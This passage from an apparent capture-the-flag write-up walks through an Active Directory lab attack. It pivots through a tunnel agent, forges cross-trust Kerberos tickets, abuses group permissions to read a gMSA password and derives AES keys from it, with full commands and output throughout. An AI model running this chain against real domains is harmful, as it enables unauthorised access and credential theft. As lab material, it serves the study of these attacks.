d-r---         6/15/2025  12:59 PM                Public

Pong_gMSA$ seems interesting as it’s a group management service account.

List the network interfaces:

PS C:\Users\C.Roberts\Documents> ipconfig

Windows IP Configuration


Ethernet adapter vEthernet (Switch01):

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.2.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 0.0.0.0

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv4 Address. . . . . . . . . . . : 10.129.xx.xx
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.129.0.1

List the routes:

PS C:\Users\C.Roberts\Documents> netstat -rn
===========================================================================
Interface List
 17...00 15 5d 16 86 01 ......Hyper-V Virtual Ethernet Adapter #2
 13...00 50 56 95 70 73 ......vmxnet3 Ethernet Adapter
  1...........................Software Loopback Interface 1
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0         On-link       192.168.2.1    271
          0.0.0.0          0.0.0.0       10.129.0.1     10.129.xx.xx     15
       10.129.0.0      255.255.0.0         On-link      10.129.xx.xx    271
     10.129.xx.xx  255.255.255.255         On-link      10.129.xx.xx    271
   10.129.255.255  255.255.255.255         On-link      10.129.xx.xx    271
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    331
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    331
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    331
      192.168.2.0    255.255.255.0         On-link       192.168.2.1    271
      192.168.2.1  255.255.255.255         On-link       192.168.2.1    271
    192.168.2.255  255.255.255.255         On-link       192.168.2.1    271
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    331
        224.0.0.0        240.0.0.0         On-link       192.168.2.1    271
        224.0.0.0        240.0.0.0         On-link      10.129.xx.xx    271
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    331
  255.255.255.255  255.255.255.255         On-link       192.168.2.1    271
  255.255.255.255  255.255.255.255         On-link      10.129.xx.xx    271
===========================================================================
Persistent Routes:
  Network Address          Netmask  Gateway Address  Metric
          0.0.0.0          0.0.0.0      192.168.2.1  Default 
===========================================================================

IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
  1    331 ::1/128                  On-link
  1    331 ff00::/8                 On-link
===========================================================================
Persistent Routes:
  None

List the ARP table:

PS C:\Users\C.Roberts\Documents> arp -a

Interface: 10.129.xx.xx --- 0xd
  Internet Address      Physical Address      Type
  10.129.0.1            00-50-56-b9-4c-ee     dynamic   
...snip... 
  10.129.255.255        ff-ff-ff-ff-ff-ff     static    
  224.0.0.22            01-00-5e-00-00-16     static    
  224.0.0.251           01-00-5e-00-00-fb     static    
  224.0.0.252           01-00-5e-00-00-fc     static    
  255.255.255.255       ff-ff-ff-ff-ff-ff     static    

Interface: 192.168.2.1 --- 0x11
  Internet Address      Physical Address      Type
  192.168.2.2           00-15-5d-16-86-02     dynamic   
  192.168.2.255         ff-ff-ff-ff-ff-ff     static    
  224.0.0.22            01-00-5e-00-00-16     static    
  224.0.0.251           01-00-5e-00-00-fb     static    
  224.0.0.252           01-00-5e-00-00-fc     static  

Found 192.168.2.2

Check the Netbios resolution for this IP:

PS C:\Users\C.Roberts\Documents> nbtstat -A 192.168.2.2
    
vEthernet (Switch01):
Node IpAddress: [192.168.2.1] Scope Id: []

           NetBIOS Remote Machine Name Table

       Name               Type         Status
    ---------------------------------------------
    DC2            <00>  UNIQUE      Registered 
    PONG           <00>  GROUP       Registered 
    PONG           <1C>  GROUP       Registered 
    DC2            <20>  UNIQUE      Registered 
    PONG           <1B>  UNIQUE      Registered 

    MAC Address = 00-15-5D-16-86-02

    
Ethernet0 2:
Node IpAddress: [10.129.xx.xx] Scope Id: []

    Host not found.

Found and add 192.168.2.2 dc2.pong.htb pong.htb in /etc/hosts

Pivoting via Tunnel

Then let’s put a Ligolo-mp agent to access to the internal network.

Launch Ligolo-mp server:

$ sudo ./ligolo-mp_linux_amd64

Generate an agent:

Upload our agent on DC1:

PS C:\Users\C.Roberts\Documents> cd c:\programdata
PS C:\programdata> mkdir 1


    Directory: C:\programdata


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
d-----         4/26/2026   8:08 AM                1                                                                     


PS C:\programdata> cd 1
PS C:\programdata\1> !upload lintun.exe

Launch the agent:

PS C:\programdata\1> .\lintun.exe

Got a callback then start a relay and add a route:

PONG\DC2

BloodHound on PONG

Update our krb5.conf file:

$ cat krb5.conf 
[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = PING.HTB

[realms]
    PING.HTB = {
        kdc = dc1.ping.htb
        admin_server = dc1.ping.htb
        default_domain = ping.htb
    }
    PONG.HTB = {
        kdc = dc2.pong.htb
        admin_server = dc2.pong.htb
        default_domain = pong.htb
    }

[domain_realm]
    .ping.htb = PING.HTB
    ping.htb = PING.HTB
    .pong.htb = PONG.HTB
    pong.htb = PONG.HTB 

Request a fresh Ticket-Granting Ticket (TGT):

$ impacket-getTGT 'ping.htb/c.roberts:AssumedBreach123' -dc-ip 10.129.xx.xx
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in c.roberts.ccache

$ export KRB5CCNAME=c.roberts.ccache
$ klist
Ticket cache: FILE:c.roberts.ccache
Default principal: c.roberts@PING.HTB

Valid starting       Expires              Service principal
04/27/2026 20:00:50  04/27/2026 06:00:50  krbtgt/PING.HTB@PING.HTB
	renew until 04/27/2026 20:00:50

Request a Kerberos Service Ticket (ST) that impersonates the krbtgt account on pong.htb domain:

$ impacket-getST -k -no-pass -spn 'krbtgt/PONG.HTB' -dc-ip 10.129.xx.xx 'ping.htb/c.roberts'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting ST for user
[*] Saving ticket in c.roberts@krbtgt_PONG.HTB@PING.HTB.ccache

$ export KRB5CCNAME=c.roberts@krbtgt_PONG.HTB@PING.HTB.ccache 
$ klist
Ticket cache: FILE:c.roberts@krbtgt_PONG.HTB@PING.HTB.ccache
Default principal: c.roberts@PING.HTB

Valid starting       Expires              Service principal
04/27/2026 20:02:46  04/27/2026 06:00:50  krbtgt/PONG.HTB@PING.HTB
	renew until 04/27/2026 20:00:50

Request a Kerberos Service Ticket that allows c.roberts to authenticate to the LDAP service on the Domain Controller DC2:

$ impacket-getST -k -no-pass -spn 'ldap/dc2.pong.htb' -dc-ip 192.168.2.2 'pong.htb/c.roberts'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting ST for user
[*] Saving ticket in c.roberts@ldap_dc2.pong.htb@PONG.HTB.ccache

$ export KRB5CCNAME=c.roberts@ldap_dc2.pong.htb@PONG.HTB.ccache 
$ klist
Ticket cache: FILE:c.roberts@ldap_dc2.pong.htb@PONG.HTB.ccache
Default principal: c.roberts@PING.HTB

Valid starting       Expires              Service principal
04/27/2026 20:04:52  04/27/2026 06:00:50  ldap/dc2.pong.htb@PONG.HTB
	renew until 04/27/2026 20:00:50

OR instead of requesting 2 consecutive ST tickets, we can use kvno to request a service ticket for a specific SPN from the DC for authentication:

$ kvno ldap/dc2.pong.htb  
ldap/dc2.pong.htb@PING.HTB: kvno = 6
                                                                                                                                                                                        
$ klist                 
Ticket cache: FILE:c.roberts.ccache
Default principal: c.roberts@PING.HTB

Valid starting       Expires              Service principal
04/27/2026 17:45:19  05/01/2026 03:45:19  krbtgt/PING.HTB@PING.HTB
	renew until 05/01/2026 17:45:19
04/27/2026 17:45:44  05/01/2026 03:45:19  ldap/dc2.pong.htb@PING.HTB
	renew until 05/01/2026 17:45:19
	Ticket server: ldap/dc2.pong.htb@PONG.HTB

Check the authentication via LDAP to DC2.PONG.HTB:

$ nxc ldap dc2.pong.htb -k --use-kcache --kdcHost dc2.pong.htb 
LDAP        dc2.pong.htb    389    DC2              [*] None (name:DC2) (domain:PING.HTB) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        dc2.pong.htb    389    DC2              [+] PING.HTB\c.roberts from ccache 

Confirmed

Then collect:

$ ./rusthound-ce -d pong.htb -u c.roberts@ping.htb -k -f dc2.pong.htb -i 192.168.2.2 -n 192.168.2.2 --dns-tcp -z
---------------------------------------------------
Initializing RustHound-CE at 17:47:50 on 04/30/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-04-30T08:47:50Z INFO  rusthound_ce] Verbosity level: Info
[2026-04-30T08:47:50Z INFO  rusthound_ce] Collection method: All
[2026-04-30T08:47:51Z INFO  rusthound_ce::ldap] Connected to PONG.HTB Active Directory!
[2026-04-30T08:47:51Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-04-30T08:47:52Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-30T08:47:59Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=pong,DC=htb
[2026-04-30T08:47:59Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-30T08:48:26Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=pong,DC=htb
[2026-04-30T08:48:26Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-30T08:48:53Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=pong,DC=htb
[2026-04-30T08:48:53Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-30T08:48:55Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=pong,DC=htb
[2026-04-30T08:48:55Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-30T08:48:55Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=pong,DC=htb
[2026-04-30T08:48:55Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
[2026-04-30T08:48:55Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2026-04-30T08:48:55Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2026-04-30T08:48:55Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-04-30T08:48:55Z INFO  rusthound_ce::json::maker::common] 19 users parsed!
[2026-04-30T08:48:55Z INFO  rusthound_ce::json::maker::common] 64 groups parsed!
[2026-04-30T08:48:55Z INFO  rusthound_ce::json::maker::common] 1 computers parsed!
[2026-04-30T08:48:55Z INFO  rusthound_ce::json::maker::common] 2 ous parsed!
[2026-04-30T08:48:55Z INFO  rusthound_ce::json::maker::common] 2 domains parsed!
[2026-04-30T08:48:55Z INFO  rusthound_ce::json::maker::common] 3 gpos parsed!
[2026-04-30T08:48:55Z INFO  rusthound_ce::json::maker::common] 73 containers parsed!
[2026-04-30T08:48:55Z INFO  rusthound_ce::json::maker::common] .//20260430174855_pong-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 17:48:55 on 04/30/26! Happy Graphing!

Then inject and analyze with BHCE:

c.roberts can read the password of PONG\PONG_GMSA$.

PONG\PONG_GMSA$ access a JEA (Just Enough Administration) Endpoint on DC1.

To find the ConfigurationName (JEA Endpoint), we open a new tab in our terminal then reuse our `` ticket to connect to the DC1 via WinRM:

$ export KRB5CCNAME=c.roberts_esc13.ccache
$ python3 winrmexec/evil_winrmexec.py 'ping.htb/c.roberts@dc1.ping.htb' -no-pass -k -dc-ip 10.129.xx.xx -target-ip 10.129.xx.xx

PS C:\Users\C.Roberts\Documents>

We start our enumeration in the Programdata folder as all installed application and often JEA are present:

PS C:\Users\C.Roberts\Documents> cd C:\Programdata
PS C:\Programdata> ls


    Directory: C:\Programdata


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
d-----         4/29/2026   9:38 AM                1                                                                     
d-----         1/17/2026   3:41 AM                JEA                                                                   
d---s-         6/15/2025   9:55 PM                Microsoft                                                             
d-----         6/16/2025   4:05 AM                Package Cache                                                         
d-----        11/28/2025   6:53 AM                Packages                                                              
d-----          1/1/2026   9:29 AM                regid.1991-06.com.microsoft                                           
d-----          5/8/2021   1:20 AM                SoftwareDistribution                                                  
d-----        12/25/2025   6:01 AM                ssh                                                                   
d-----         6/16/2025   4:08 AM                USOPrivate                                                            
d-----          5/8/2021   1:20 AM                USOShared                                                             
d-----         6/16/2025   4:05 AM                VMware                                                                

Found JEA folder

Dig into if we have the .pssc file, a PowerShell Session Configuration file used specifically for Just Enough Administration (JEA) to define restricted remote endpoints.

PS C:\Programdata> cd JEA
PS C:\Programdata\JEA> ls


    Directory: C:\Programdata\JEA


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----          2/5/2026   5:39 AM            477 JEA.pssc                                                              


PS C:\Programdata\JEA> type JEA.pssc
@{

# Version number of the schema used for this document
SchemaVersion = '2.0.0.0'

# ID used to uniquely identify this document
GUID = 'e26939b6-819a-496e-be9a-dfb45427c765'

# ConfigurationName = 'restricted'

# Author of this document
Author = 'Administrator'

# Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 'Default'
SessionType = 'RestrictedRemoteServer'
LanguageMode = 'ConstrainedLanguage'
}

Found the JEA ConfigurationName = ‘restricted’

Active Directory assessing - PONG

$ griffon 20260426143841_BloodHound.zip
[+] extracting 20260426143841_BloodHound.zip
[+] found 7 JSON files in zip

♦USER the user is an admin
★USER there is a path to gain admin privileges
USER the user is owned
USER the user is disabled
A  admincount is set (this flag doesn't tell that the user is an admin, it could be an old admin)
K  the user may be Kerberoastable (at least one SPN is set)
N  DONT_REQUIRE_PREAUTH (ASREPRoastable)
P  the user is in the Protected group
!R PASSWORD_NOTREQUIRED (it means the password can be empty)
S  SENSITIVE
T  TRUSTED_TO_AUTH_FOR_DELEGATION (it means you can impersonate to admin in constrained delegations)
!X DONT_EXPIRE_PASSWORD

♦ADMINISTRATOR A S !X
    < SCHEMA ADMINS
    < DENIED RODC PASSWORD REPLICATION GROUP
    < ♦ENTERPRISE ADMINS
    < ♦DOMAIN ADMINS
    < GROUP POLICY CREATOR OWNERS
    GenericAll(♦PONG.HTB)
C.CARLSSEN !X
    < IT SERVICE ADMINS
    GenericWrite(SVC_PRINT)
    GenericWrite(SVC_LDAP)
    GenericWrite(SVC_SQL)
    HasSession(★DC2$)
★DC2$ K
    < BUILTIN\ENTERPRISE DOMAIN CONTROLLERS
    GetChanges_GetChangesInFilteredSet(♦PONG.HTB)
    AllowedToDelegate(many)
    SessionForUser(C.CARLSSEN)
    SessionForUser(SVC_SQL)
P.SANCHEZ !X
    < IT SERVICE ADMINS
    GenericWrite(SVC_PRINT)
    GenericWrite(SVC_LDAP)
    GenericWrite(SVC_SQL)
PING$ !R
R.RUPERT !X
    < IT SERVICE ADMINS
    GenericWrite(SVC_PRINT)
    GenericWrite(SVC_LDAP)
    GenericWrite(SVC_SQL)
SVC_SQL K !X
    HasSession(★DC2$)
  • C.CARLSSEN, P.SANCHEZ and R.RUPERT are members of IT SERVICE ADMINS –GenericWrite–> on SVC_PRINT, SVC_LDAP, SVC_SQL service accounts.
  • SVC_SQL has a session on DC2.

Inter-realm gMSA abusing (pong\Pong_gMSA$)

Check Trusts, Writable objects and attributes:

$ bloodyAD --host dc2.pong.htb -d pong.htb -k get trusts
pong.htb
 +-- <FOREST_TRANSITIVE|AD>:ping.htb
                                                                                                                                                                                        
$ bloodyAD --host dc2.pong.htb -d pong.htb -k get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pong,DC=htb
permission: WRITE

distinguishedName: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
DACL: WRITE

distinguishedName: DC=pong.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=pong,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.pong.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=pong,DC=htb
permission: CREATE_CHILD
                                                                                                                                                                                        
$ bloodyAD --host dc2.pong.htb -d pong.htb -k get object 'gMSA Managers' --attr objectSid,groupType,member,nTSecurityDescriptor

distinguishedName: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
groupType: -2147483646
nTSecurityDescriptor: O:S-1-5-21-750635624-2058721901-1932338391-2618G:S-1-5-21-2410575906-3092493790-2123333151-512D:AI(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;S-1-5-11)(A;;0xf01ff;;;S-1-5-21-2410575906-3092493790-2123333151-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;0x20094;;;S-1-5-10)(A;;0x20094;;;S-1-5-11)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2410575906-3092493790-2123333151-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2410575906-3092493790-2123333151-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-2410575906-3092493790-2123333151-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
objectSid: S-1-5-21-2410575906-3092493790-2123333151-1104
                                                                                                                                                                                        
$ bloodyAD --host dc2.pong.htb -d pong.htb -k get object 'Pong_gMSA$' --attr sAMAccountName,msDS-GroupMSAMembership,description

distinguishedName: CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb
description: JEA Enabled gMSA on DC1
msDS-GroupMSAMembership: O:S-1-5-32-544D:(A;;0xf01ff;;;S-1-5-21-2410575906-3092493790-2123333151-1104)
sAMAccountName: Pong_gMSA$

The Foreign Security Principals SID (FSP SID) of ping.htb\c.roberts is S-1-5-21-750635624-2058721901-1932338391-2617.

Add genericAll for c.roberts to the group gMSA Managers then he become owner:

$ bloodyAD --host dc2.pong.htb -d pong.htb -k add genericAll 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' 'S-1-5-21-750635624-2058721901-1932338391-2617'
[+] S-1-5-21-750635624-2058721901-1932338391-2617 has now GenericAll on CN=gMSA Managers,CN=Users,DC=pong,DC=htb

Now, we have the possibility to change the target group’s groupType to make it a domain-local group.

Note
  • The groupType attribute controls the scope of the group and whether security features are enabled.
  • From the groupType definition, -2147483644 is the signed form of 0x80000004
    • 0x80000000 is the SECURITY_ENABLED flag
    • 0x00000004 is the DOMAIN_LOCAL_GROUP flag

First change: Global flag –> Universal

$ bloodyAD --host dc2.pong.htb -d pong.htb -k set object 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' groupType -v -2147483640
[+] CN=gMSA Managers,CN=Users,DC=pong,DC=htb's groupType has been updated

Second change: Universal –> Doamin Local flag

$ bloodyAD --host dc2.pong.htb -d pong.htb -k set object 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' groupType -v -2147483644
[+] CN=gMSA Managers,CN=Users,DC=pong,DC=htb's groupType has been updated

Add c.roberts to the group gMSA Managers via its Ping.htb’s Object SID (FSP SID):

$ bloodyAD --host dc2.pong.htb -d pong.htb -k add groupMember 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' 'S-1-5-21-750635624-2058721901-1932338391-2617'
[+] S-1-5-21-750635624-2058721901-1932338391-2617 added to CN=gMSA Managers,CN=Users,DC=pong,DC=htb

Request a fresh TGT:

impacket-getTGT 'ping.htb/c.roberts:AssumedBreach123' -dc-ip 10.129.xx.xx
export KRB5CCNAME=c.roberts.ccache
$ klist
Ticket cache: FILE:c.roberts.ccache
Default principal: c.roberts@PING.HTB

Valid starting       Expires              Service principal
04/27/2026 18:04:16  05/01/2026 04:04:16  krbtgt/PING.HTB@PING.HTB
	renew until 05/01/2026 18:04:16

Read Pong_gMSA$:

$ nxc ldap dc2.pong.htb -k --use-kcache --kdcHost dc2.pong.htb --gmsa
LDAP        dc2.pong.htb    389    DC2              [*] None (name:DC2) (domain:PING.HTB) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        dc2.pong.htb    389    DC2              [+] PING.HTB\c.roberts from ccache 
LDAP        dc2.pong.htb    389    DC2              [*] Getting GMSA Passwords
LDAP        dc2.pong.htb    389    DC2              Account: Pong_gMSA$           NTLM: 4b85a2a049588810c1267e4018b07a07     PrincipalsAllowedToReadPassword: gMSA Managers

Got only the NTHash then not enough as NTLM is disabled.

Retry with BloodyAD:

$ bloodyAD --host dc2.pong.htb -d pong.htb -k get object 'Pong_gMSA$' --attr msDS-ManagedPassword 

distinguishedName: CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb
msDS-ManagedPassword.NT: 4b85a2a049588810c1267e4018b07a07
msDS-ManagedPassword.B64ENCODED: eFkbWLHQ9ZrAkNUPkIoyBnuGsnXyZOPO5eNOWWlCXuW+gcHc8jj3TpS1td5uZu2q3PoJBjL68DchzLF7DRcebEPpqm2SigCrJiwtO/C+RMfgVtphZX8BTmckbsUG2dDbiSLW6gj1jMN8Z9oMmpcbSuAshl5uZU2iCIOBdo3rinaX28jwCTKhkaELO+V+CLmoOfRJ2bYjL8V1QzJssh0/RuiaQ+bRLMasy8cLZ24mZhf3/4akKyRSn39X3E+RT7DEc7xHrxBVevTGTsIeD/3OfzMXs5ZW3fc0Iiut/d4heHjhkIfZhsmDQaZmGq4BMi+rG4HY+6gBkNyvHk3rRa9ozQ==

Same only NTHash

Retry to get the full blob:

$ bloodyAD --host dc2.pong.htb -d pong.htb -k get object 'Pong_gMSA$' --attr msDS-ManagedPassword --raw 

distinguishedName: CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb
msDS-ManagedPassword: AQAAACQCAAAQABIBFAIcAnhZG1ix0PWawJDVD5CKMgZ7hrJ18mTjzuXjTllpQl7lvoHB3PI4906UtbXebmbtqtz6CQYy+vA3Icyxew0XHmxD6aptkooAqyYsLTvwvkTH4FbaYWV/AU5nJG7FBtnQ24ki1uoI9YzDfGfaDJqXG0rgLIZebmVNogiDgXaN64p2l9vI8AkyoZGhCzvlfgi5qDn0Sdm2Iy/FdUMybLIdP0bomkPm0SzGrMvHC2duJmYX9/+GpCskUp9/V9xPkU+wxHO8R68QVXr0xk7CHg/9zn8zF7OWVt33NCIrrf3eIXh44ZCH2YbJg0GmZhquATIvqxuB2PuoAZDcrx5N60WvaM0AAFTYdeCQSU2sWjgDFm5RK80o6Kdb9v3QR2ui4ga5nsvwd47WPenWMO6nYFI1AVuNtlqtHTlsK20EcN1a/7bqTK0rmhxAedh3X/Jv25dxEbKPX01QC+kfCei/oGldm2jyNODVvhvhDZJJQWZiR2UJmqMa/0ZHA15omZ4D9jezQLe3OGb+9ipBzbawtasMIwbdIfWUNQ8tIv/dyRnCzG2OCYYyMIVE2fWem7S9BrBVlVlAo9FbjOiPmikP9baNxX5WP57wRmsNbVW2JkhiW56R4edpynKhxBqCKeeVXH5OrQyOidUkT3Z4j5PHRFewUKgk+X/vZeCPz/TArErftArPBAYAAPacF7fFDgAA9j5HBMUOAAA=

Then use gmsa-aes-keys.py to extrapole the AES keys:

$ python3 gmsa-aes-keys/gmsa_aes_keys.py AQAAACQCAAAQABIBFAIcAnhZG1ix0PWawJDVD5CKMgZ7hrJ18mTjzuXjTllpQl7lvoHB3PI4906UtbXebmbtqtz6CQYy+vA3Icyxew0XHmxD6aptkooAqyYsLTvwvkTH4FbaYWV/AU5nJG7FBtnQ24ki1uoI9YzDfGfaDJqXG0rgLIZebmVNogiDgXaN64p2l9vI8AkyoZGhCzvlfgi5qDn0Sdm2Iy/FdUMybLIdP0bomkPm0SzGrMvHC2duJmYX9/+GpCskUp9/V9xPkU+wxHO8R68QVXr0xk7CHg/9zn8zF7OWVt33NCIrrf3eIXh44ZCH2YbJg0GmZhquATIvqxuB2PuoAZDcrx5N60WvaM0AAFTYdeCQSU2sWjgDFm5RK80o6Kdb9v3QR2ui4ga5nsvwd47WPenWMO6nYFI1AVuNtlqtHTlsK20EcN1a/7bqTK0rmhxAedh3X/Jv25dxEbKPX01QC+kfCei/oGldm2jyNODVvhvhDZJJQWZiR2UJmqMa/0ZHA15omZ4D9jezQLe3OGb+9ipBzbawtasMIwbdIfWUNQ8tIv/dyRnCzG2OCYYyMIVE2fWem7S9BrBVlVlAo9FbjOiPmikP9baNxX5WP57wRmsNbVW2JkhiW56R4edpynKhxBqCKeeVXH5OrQyOidUkT3Z4j5PHRFewUKgk+X/vZeCPz/TArErftArPBAYAAPacF7fFDgAA9j5HBMUOAAA= -s 'Pong_gMSA$' -d pong.htb
sAMAccountName : Pong_gMSA$
salt           : PONG.HTBhostpong_gmsa.pong.htb
NT hash        : 4de3abd20486c8c953eb589de43f0205
AES128 key     : c48ae0b9895ebd9e1fe44ce34d3b696e
AES256 key     : 9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a

OR with ldeep to get the AES keys:

$ ldeep ldap -d pong.htb -s ldap://dc2.pong.htb -k gmsa
Pong_gMSA$:nthash:4b85a2a049588810c1267e4018b07a07
Pong_gMSA$:aes128-cts-hmac-sha1-96:c48ae0b9895ebd9e1fe44ce34d3b696e
Pong_gMSA$:aes256-cts-hmac-sha1-96:9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a
Pong_gMSA$:reader:gMSA Managers (group)

Then request a TGT as Pong_gMSA$:

$ impacket-getTGT 'pong.htb/Pong_gMSA$' -aesKey '9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a' -dc-ip 192.168.2.2
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in Pong_gMSA$.ccache
                                                                                                                                                                                        
$ export KRB5CCNAME=Pong_gMSA\$.ccache 
$ klist
Ticket cache: FILE:Pong_gMSA$.ccache
Default principal: Pong_gMSA$@PONG.HTB

Valid starting       Expires              Service principal
04/27/2026 22:23:03  04/27/2026 08:23:03  krbtgt/PONG.HTB@PONG.HTB
	renew until 04/27/2026 22:23:03

Check the authentication:

$ nxc smb dc2.pong.htb -k --use-kcache --kdcHost dc2.pong.htb
SMB         dc2.pong.htb    445    dc2              [*]  x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc2.pong.htb    445    dc2              [+] PONG.HTB\Pong_gMSA$ from ccache 
$ nxc ldap dc2.pong.htb -k --use-kcache --kdcHost dc2.pong.htb       
LDAP        dc2.pong.htb    389    DC2              [*] None (name:DC2) (domain:PONG.HTB) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        dc2.pong.htb    389    DC2              [+] PONG.HTB\Pong_gMSA$ from ccache 

Confirmed.

List active users:

